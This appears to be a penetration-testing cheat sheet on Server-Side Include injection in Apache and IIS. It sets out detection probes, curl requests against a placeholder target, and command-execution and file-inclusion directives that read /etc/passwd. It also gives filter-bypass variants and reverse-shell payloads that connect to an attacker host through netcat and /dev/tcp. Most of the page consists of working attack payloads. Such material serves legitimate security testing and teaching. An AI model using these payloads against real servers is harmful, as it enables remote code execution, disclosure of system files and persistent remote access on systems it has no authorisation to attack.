SSI Injection
Apache’s mod_include (and IIS equivalents) parses HTML files for <!--#... --> directives at serve time. When user input lands in such a file and SSI is enabled for that file extension, you can inject directives that execute commands, include files, or print environment variables.
<!--#echo var="DATE_LOCAL" --> <!-- detection --><!--#printenv --> <!-- env dump --><!--#exec cmd="id" --> <!-- RCE --><!--#include virtual="/etc/passwd" --> <!-- file read (limited) -->Success indicator: the directive is replaced by its output instead of being rendered as a comment.
Where to look
Section titled “Where to look”Three conditions for SSI exploitation:
- The file extension is configured for SSI parsing. Default Apache:
.shtml,.shtm,.stm. Non-default configs sometimes enable SSI on.html. - User input ends up inside the served file. Either persisted (saved to disk and served back) or reflected (template that bakes input into output).
- The output is fetched back through Apache (not as a static download; it has to go through
mod_include).
Common targets: feedback forms, profile bios, comment systems, file-upload features that store user content in a docroot directory served by Apache, error pages that include the requested URL.
Directive reference
Section titled “Directive reference”<!-- Print local time --><!--#echo var="DATE_LOCAL" -->
<!-- Print environment variables --><!--#printenv --><!--#echo var="HTTP_USER_AGENT" --><!--#echo var="DOCUMENT_ROOT" --><!--#echo var="REMOTE_ADDR" -->
<!-- File modification time --><!--#flastmod file="index.html" -->
<!-- Include another file (relative to document) --><!--#include file="header.html" -->
<!-- Include another URL (relative to docroot) --><!--#include virtual="/footer.html" -->
<!-- CGI execution --><!--#include virtual="/cgi-bin/script.pl" -->
<!-- Direct command execution --><!--#exec cmd="id" --><!--#exec cmd="ls -la /" -->
<!-- Set variables --><!--#set var="x" value="hello" --><!--#echo var="x" -->
<!-- Configuration --><!--#config errmsg="custom error" --><!--#config timefmt="%Y-%m-%d" -->Detection
Section titled “Detection”Step 1 - Probe with a benign directive
Section titled “Step 1 - Probe with a benign directive”Submit <!--#echo var="DATE_LOCAL" --> into any input that gets reflected. If the response shows a date instead of the literal directive, SSI is parsing your input.
curl -X POST -d 'name=<!--#echo var="DATE_LOCAL" -->' http://<TARGET>/profileLook for behavior like:
- Input field shows:
Saturday, 04-May-2024 10:30:00 EDTinstead of the comment - Comments stripped from output (mod_include consumed them)
- Response time changes (directive evaluation takes longer)
Step 2 - Confirm with <!--#printenv -->
Section titled “Step 2 - Confirm with <!--#printenv -->”curl -X POST -d 'name=<!--#printenv -->' http://<TARGET>/profileIf environment variables appear (HTTP_HOST, SERVER_SOFTWARE, DOCUMENT_ROOT, REMOTE_ADDR, etc.), SSI is fully active.
Step 3 - Test for #exec
Section titled “Step 3 - Test for #exec”curl -X POST -d 'name=<!--#exec cmd="id" -->' http://<TARGET>/profile#exec is sometimes disabled (Options +Includes allows directives but excludes IncludesNOEXEC blocks #exec). If #echo works but #exec returns the literal text or an error, you have file inclusion only - no RCE.
File extension tricks
Section titled “File extension tricks”The biggest constraint on SSI is the file extension. The user input must end up in a file Apache parses for SSI.
When the app saves input as .shtml
Section titled “When the app saves input as .shtml”Direct path: input goes into a .shtml file, Apache parses it on serve.
When the app saves input as .html
Section titled “When the app saves input as .html”Some non-default configs enable SSI on .html:
AddType text/html .htmlAddOutputFilter INCLUDES .htmlTest by reading the response headers (Content-Type, sometimes a X-Powered-By) - if SSI is generic-on, the directive will be parsed.
When the app sanitizes the input file extension but lets you choose
Section titled “When the app sanitizes the input file extension but lets you choose”If you can upload files with chosen extensions:
# Upload as .shtml - gets parsed when served backupload: payload.shtmlcontent: <html><body><!--#exec cmd="id" --></body></html>Trailing-newline trick
Section titled “Trailing-newline trick”Apache (and SSI) requires the directive to be on a complete line ending in newline. Some sanitizers strip trailing whitespace or newline. Pad with extra characters:
<!--#exec cmd="id" --> (trailing space + newline preserved)RCE via #exec
Section titled “RCE via #exec”When #exec is enabled:
<!--#exec cmd="id" --><!--#exec cmd="cat /etc/passwd" --><!--#exec cmd="ls -la /var/www" -->Output is inlined into the response where the directive was. Multi-line output appears multi-line.
Reverse shell
Section titled “Reverse shell”When #exec is enabled but you can’t get a TTY-style interactive shell directly:
<!--#exec cmd="mkfifo /tmp/f;nc <LHOST> <LPORT> 0</tmp/f|/bin/bash 1>/tmp/f;rm /tmp/f" -->Listener:
nc -lvnp <LPORT>Why the FIFO trick: many distro nc builds (notably OpenBSD-netcat on Debian) don’t ship with -e. The mkfifo construction reads from the FIFO into a shell, pipes shell output back through nc - bidirectional connection without -e.
If bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 works, prefer it (cleaner, no FIFO file left behind):
<!--#exec cmd="bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'" -->File inclusion via #include
Section titled “File inclusion via #include”When #exec is disabled but #include works:
<!--#include virtual="/etc/passwd" --><!--#include file="../../../etc/passwd" -->virtual="/path" is relative to docroot; file="path" is relative to the file being parsed.
Path traversal works for file=:
<!--#include file="../../../../etc/passwd" -->For virtual=, traversal is restricted but cross-app inclusion is possible:
<!--#include virtual="/admin/secret-page.html" -->If the admin page is accessible only from localhost via mod-include, and your input file is served externally, you’ve crossed an access-control boundary.
CGI invocation via #include virtual
Section titled “CGI invocation via #include virtual”<!--#include virtual="/cgi-bin/test.pl" -->Re-invokes a CGI script from within mod_include’s parser. Sometimes useful for accessing CGI scripts that aren’t directly exposed.
Filter bypass
Section titled “Filter bypass”Sanitizers commonly block <!--#. Variants that sometimes survive:
<!-- #exec cmd="id" --> <!-- extra spaces --><!--#EXEC cmd="id" --> <!-- case (rarely matters) --><!-- #include virtual="/etc/passwd" -->If <!-- is filtered entirely, SSI is not exploitable - there’s no other way to start a directive.
If specific directives are filtered (exec), <!--#include virtual="/cgi-bin/anything"--> may still work if a CGI is reachable.
IIS-style SSI
Section titled “IIS-style SSI”IIS supports a similar feature, with Windows-specific commands:
<!--#exec cmd="dir C:\" --><!--#exec cmd="type C:\Users\Administrator\Desktop\flag.txt" -->The cmd argument runs through cmd.exe, so cmd-style chaining (&, &&) and Windows path syntax apply.
Common failure modes
Section titled “Common failure modes”- Directive appears literally in output. SSI not enabled for this file extension. Check
Content-Type- iftext/htmland the file has.htmlextension, SSI is probably off. Look for upload features where you can choose.shtml. #echoworks but#execreturns nothing.IncludesNOEXECset in Apache config - file inclusion enabled, command execution disabled. Limited but useful (file disclosure, env vars).- Directive consumed but no output. mod_include parsed it and produced empty output (e.g.,
#configdirectives produce no output). Try#echoor#execfor visible output. - Reverse shell connects but dies immediately. Apache’s child process is short-lived; the shell forks but the parent process exits quickly. Detach:
<!--#exec cmd="(nohup bash -c '...' &) > /dev/null 2>&1" -->. - Some directives blocked, others allowed. Custom mod_include filter or WAF in path. Pivot to whichever directive isn’t blocked -
#includefor file disclosure,#echofor env exfil. - Input length limit too short for full directive. Multi-stage inject: write directive across multiple inputs that get concatenated, or use a shorter directive form.
SSI is a legacy technology - most modern stacks (Node, Go, modern PHP frameworks) don’t use it. The bug class persists because: (1) Apache’s default config still ships SSI support, (2) .shtml files exist in the wild from old codebases, (3) some shared hosting providers leave SSI on by default. When you find SSI exploitation in 2025+, it’s usually a vintage codebase or a misconfigured shared-hosting deployment.
Where SSI does work, it’s a fast path to RCE: detect with <!--#printenv -->, escalate with <!--#exec cmd="id" -->. The whole chain takes minutes if the conditions align.